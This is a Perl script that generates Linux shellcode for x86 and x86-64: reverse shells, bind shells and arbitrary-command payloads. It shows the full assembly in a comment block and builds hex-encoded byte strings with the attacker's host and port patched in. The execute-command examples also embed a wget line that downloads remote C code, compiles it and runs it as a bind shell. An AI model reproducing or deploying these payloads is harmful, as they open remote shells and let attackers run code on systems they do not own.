#!/usr/bin/perl 
# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd] 
# contact: xzid420[at]gmail.com 
use strict; 
use warnings; 
use Getopt::Long; 
 
my $comment=q{ 
------------------------- 
    reverse shell x86 
------------------------- 
  xor %edx,%edx 
  push $0x06 
  push $0x01 
  push $0x02 
  mov %esp,%ecx 
  push $0x66 
  pop %eax 
  push $0x01 
  pop %ebx 
  int $0x80 
  movb $0x02,(%esp) 
  movw $0xbc01,2(%esp)        # htons(444); 
  movl $0xa0a0a0a,4(%esp)     # inet_addr("10.10.10.10"); 
  mov %esp,%ecx 
  push $0x10 
  push %ecx 
  push %eax 
  mov %esp,%ecx 
  push %eax 
  mov %esp,%ebp 
  push $0x66 
  pop %eax 
  push $0x03 
  pop %ebx 
  int $0x80 
  mov %ebp,%esp 
  pop %ebx 
  push $0x03 
  pop %ecx 
 
dup2loop: 
  dec %ecx 
  push $63 
  pop %eax 
  int $0x80 
  jnz dup2loop 
 
  push %edx 
  push $0x68732f6e  # hs/n 
  push $0x69622f2f  # ib// 
  mov %esp,%ebx 
  xor %ecx,%ecx 
  push $0x0b 
  pop %eax 
  int $0x80 
------------------------- 
   reverse shell x86-64 
------------------------- 
  xorq %rdx,%rdx 
  pushq $0x29 
  pop %rax 
  push $0x01 
  pop %rsi 
  push $0x02 
  pop %rdi 
  syscall 
 
  xchgq %rax,%rdi 
  movb $0x02,(%rsp) 
  movw $0x6007,2(%rsp)         #; htons(1087); 
  movl $0xa0a0a0a,4(%rsp)      #; inet_addr("10.10.10.10"); 
  movq %rsp,%rsi 
  push $0x10 
  pop %rdx 
  push $0x2a 
  pop %rax 
  syscall 
  push $0x03 
  pop %rsi 
 
dup2loop: 
  dec %rsi 
  push $33 
  pop %rax 
  syscall 
  jnz dup2loop 
 
  xorq %rdx,%rdx 
  movq $0x68732f6e69622f2f,%rbx 
  shr $0x8,%rbx 
  pushq %rbx 
  movq %rsp,%rdi 
  pushq %rdx 
  pushq %rdi 
  movq %rsp,%rsi 
  push $59 
  pop %rax 
  syscall 
------------------------- 
     bind shell x86 
------------------------- 
  xor %edx,%edx 
  push $0x06 
  push $0x01 
  push $0x02 
  mov %esp,%ecx 
  push $0x66 
  pop %eax 
  push $0x01 
  pop %ebx 
  int $0x80 
 
  mov %eax,%edi 
  movb $0x02,(%esp) 
  movw $0xbc01,2(%esp)        # htons(444) 
  movl %edx,4(%esp)           # 0[INADDR_ANY] 
  mov %esp,%ecx 
  push $0x10 
  push %ecx 
  push %eax 
  mov %esp,%ecx 
  push %eax 
  mov %esp,%ebp 
  push $0x66 
  pop %eax 
  push $0x02 
  pop %ebx 
  int $0x80 
 
  push $0x05 
  push %edi 
  mov %esp,%ecx 
  push $0x66 
  pop %eax 
  push $0x04 
  pop %ebx 
  int $0x80 
 
  push %edx 
  push %edx 
  push %edi 
  mov %esp,%ecx 
  push $0x05 
  pop %ebx 
  push $0x66 
  pop %eax 
  int $0x80 
  xchg %ebx,%eax 
  push $0x03 
  pop %ecx 
 
dup2loop: 
  dec %ecx 
  push $63 
  pop %eax 
  int $0x80 
  jnz dup2loop 
 
  push %edx 
  push $0x68732f6e  # hs/n 
  push $0x69622f2f  # ib// 
  mov %esp,%ebx 
  xor %ecx,%ecx 
  push $0x0b 
  pop %eax 
  int $0x80 
------------------------- 
    bind shell x86-64 
------------------------- 
  xorq %rdx,%rdx 
  pushq $0x29 
  pop %rax 
  push $0x01 
  pop %rsi 
  push $0x02 
  pop %rdi 
  syscall 
 
  xchgq %rax,%rdi 
  xorq %rax,%rax 
  movb $0x02,(%rsp) 
  movw $0x6007,2(%rsp)         #; htons(1087); 
  movl %eax,4(%rsp)            #; 0[INADDR_ANY] 
  movq %rsp,%rsi 
  push $0x10 
  pop %rdx 
  push $49 
  pop %rax 
  syscall 
 
  push $0x01 
  pop %rsi 
  push $50 
  pop %rax 
  syscall 
 
  xorq %rsi,%rsi 
  xorq %rdx,%rdx 
  push $43 
  pop %rax 
  syscall 
 
  xchgq %rax,%rdi 
  push $0x03 
  pop %rsi 
 
dup2loop: 
  dec %rsi 
  push $33 
  pop %rax 
  syscall 
  jnz dup2loop 
 
  xorq %rdx,%rdx 
  movq $0x68732f6e69622f2f,%rbx 
  shr $0x8,%rbx 
  pushq %rbx 
  movq %rsp,%rdi 
  pushq %rdx 
  pushq %rdi 
  movq %rsp,%rsi 
  push $59 
  pop %rax 
  syscall 
------------------------- 
     execute cmd x86 
------------------------- 
  jmp cmd 
 
shellcode: 
  pop %ecx 
  xor %edx,%edx 
  push %edx 
  push $0x68732f6e    # hs/n 
  push $0x69622f2f    # ib// 
  mov %esp,%ebx 
  movw $0x632d,%ax 
  push %edx 
  push %ax 
  mov %esp,%eax 
  push %edx 
  push %ecx 
  push %eax 
  push %ebx 
  mov %esp,%ecx 
  push $0x0b 
  pop %eax 
  int $0x80 
  push $0x01 
  pop %eax 
  xor %ebx,%ebx 
  int $0x80 
 
cmd: 
  call shellcode 
  .ascii "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind" 
------------------------- 
   execute cmd x86-64 
------------------------- 
  jmp cmd 
 
shellcode: 
  pop %rcx 
  xorq %rdx,%rdx 
  movq $0x68732f6e69622f2f,%rbx  # hs/nib// 
  shr $0x8,%rbx 
  push %rbx 
  movq %rsp,%rdi 
  movw $0x632d,%ax 
  pushq %rdx 
  pushq %ax 
  movq %rsp,%rax 
  pushq %rdx 
  pushq %rcx 
  pushq %rax 
  pushq %rdi 
  movq %rsp,%rsi 
  xorq %rax,%rax 
  movb $0x3b,%al 
  syscall 
  push $0x3c 
  pop %rax 
  xorq %rdi,%rdi 
  syscall 
 
cmd: 
  call shellcode 
  .string "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind" 
------------------------- 
}; 
 
my($host,$port,$cmd,$amd64,$shellcode); 
 
GetOptions("host=s" => \$host, 
           "port=i" => \$port, 
           "cmd=s"  => \$cmd, 
           "64"     => \$amd64); 
 
if($host and $port) 
  { 
  if($amd64) 
    { 
    # x86-64 reverse shell 
    $shellcode= 
	'\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\xc6\x04\x24\x02\x66'. 
	'\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04'.saddr($host).'\x48\x89\xe6\x6a\x10'. 
	'\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31'. 
	'\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57'. 
	'\x48\x89\xe6\x6a\x3b\x58\x0f\x05'; 
    print "linux/x86-64 reverse shell\n\n"; 
    } 
  else 
    { 
    # x86 reverse shell 
    $shellcode= 
	'\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\x58\x6a\x01\x5b\xcd\x80\xc6\x04\x24'. 
	'\x02\x66\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04'.saddr($host).'\x89\xe1\x6a'. 
	'\x10\x51\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x03\x5b\xcd\x80\x89\xec\x5b\x6a\x03'. 
	'\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89'. 
	'\xe3\x31\xc9\x6a\x0b\x58\xcd\x80'; 
    print "linux/x86 reverse shell\n\n"; 
    } 
  print "host: $host\n", 
	"port: $port\n"; 
  } 
elsif($port) 
  { 
  if($amd64) 
    { 
    # x86-64 bind shell 
    $shellcode= 
	'\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\x48\x31\xc0\xc6\x04'. 
	'\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\x44\x24\x04\x48\x89\xe6\x6a\x10\x5a'. 
	'\x6a\x31\x58\x0f\x05\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x31\xf6\x48\x31\xd2\x6a\x2b'. 
	'\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xd2'. 
	'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48'. 
	'\x89\xe6\x6a\x3b\x58\x0f\x05'; 
    print "linux/x86-64 bind shell\n\n"; 
    } 
  else 
    { 
    # x86 bind shell 
    $shellcode= 
	'\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\x58\x6a\x01\x5b\xcd\x80\x89\xc7\xc6'. 
	'\x04\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\x54\x24\x04\x89\xe1\x6a\x10\x51'. 
	'\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x02\x5b\xcd\x80\x6a\x05\x57\x89\xe1\x6a\x66'. 
	'\x58\x6a\x04\x5b\xcd\x80\x52\x52\x57\x89\xe1\x6a\x05\x5b\x6a\x66\x58\xcd\x80\x93\x6a'. 
	'\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69'. 
	'\x89\xe3\x31\xc9\x6a\x0b\x58\xcd\x80'; 
    print "linux/x86 bind shell\n\n"; 
    } 
  print "port: $port\n"; 
  } 
elsif($cmd) 
  { 
  if($amd64) 
    { 
    # x86-64 execute cmd 
    $shellcode= 
	'\xeb\x35\x59\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53'. 
	'\x48\x89\xe7\x66\xb8\x2d\x63\x52\x50\x48\x89\xe0\x52\x51\x50\x57\x48\x89\xe6\x48\x31'. 
	'\xc0\xb0\x3b\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05\xe8\xc6\xff\xff\xff'.cmd($cmd); 
    print "linux/x86-64 execute cmd\n\n"; 
    } 
  else 
    { 
    # x86 execute cmd 
    $shellcode= 
	'\xeb\x2b\x59\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x66\xb8\x2d'. 
	'\x63\x52\x66\x50\x89\xe0\x52\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80\x6a\x01\x58\x31'. 
	'\xdb\xcd\x80\xe8\xd0\xff\xff\xff'.cmd($cmd); 
    print "linux/x86 execute cmd\n\n"; 
    } 
  print "cmd: $cmd\n"; 
  } 
else 
  { 
  print "# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]\n\n", 
	"reverse:\n", 
	"  $0 --host <host> --port <port>\n\n", 
	"bind:\n", 
	"  $0 --port <port>\n\n", 
	"cmd:\n", 
	"  $0 --cmd <cmd>\n\n", 
	"args:\n", 
	"  --64            x86-64, default x86\n"; 
  exit; 
  } 
 
print "shellcode length: ",shellcode_length($shellcode)," bytes\n\n", 
      "-------------------------\n", 
      $shellcode, 
      "\n-------------------------\n"; 
 
sub shellcode_length 
  { 
  my $scode=shift||return 0; 
  my @p=split('x',$scode); 
  return $#p; 
  } 
 
sub cmd 
  { 
  my $c=shift; 
  $c=~s/(.)/sprintf("\\x%02x",ord($1))/eg; 
  return $c; 
  } 
 
sub saddr 
  { 
  my $host=shift; 
  my $s=gethostbyname($host) or die "error: host lookup failed\n"; 
  my @sp=unpack('C4',$s); 
  my $ret=""; 
  for(<@sp>) {$ret.=sprintf("\\x%.2x",$_);} 
  print ">> warning: host \"$host\" contains a null byte\n-----------\n" if($ret=~/00/); 
  return $ret; 
  } 
 
sub sport 
  { 
  my $port=shift; 
  die "port range: 300-20000\n" if($port<300||$port>20000); 
  $port=sprintf("%.4x",$port); 
  $port=~s/(.{2})/\\x$1/g; 
  return $port; 
  }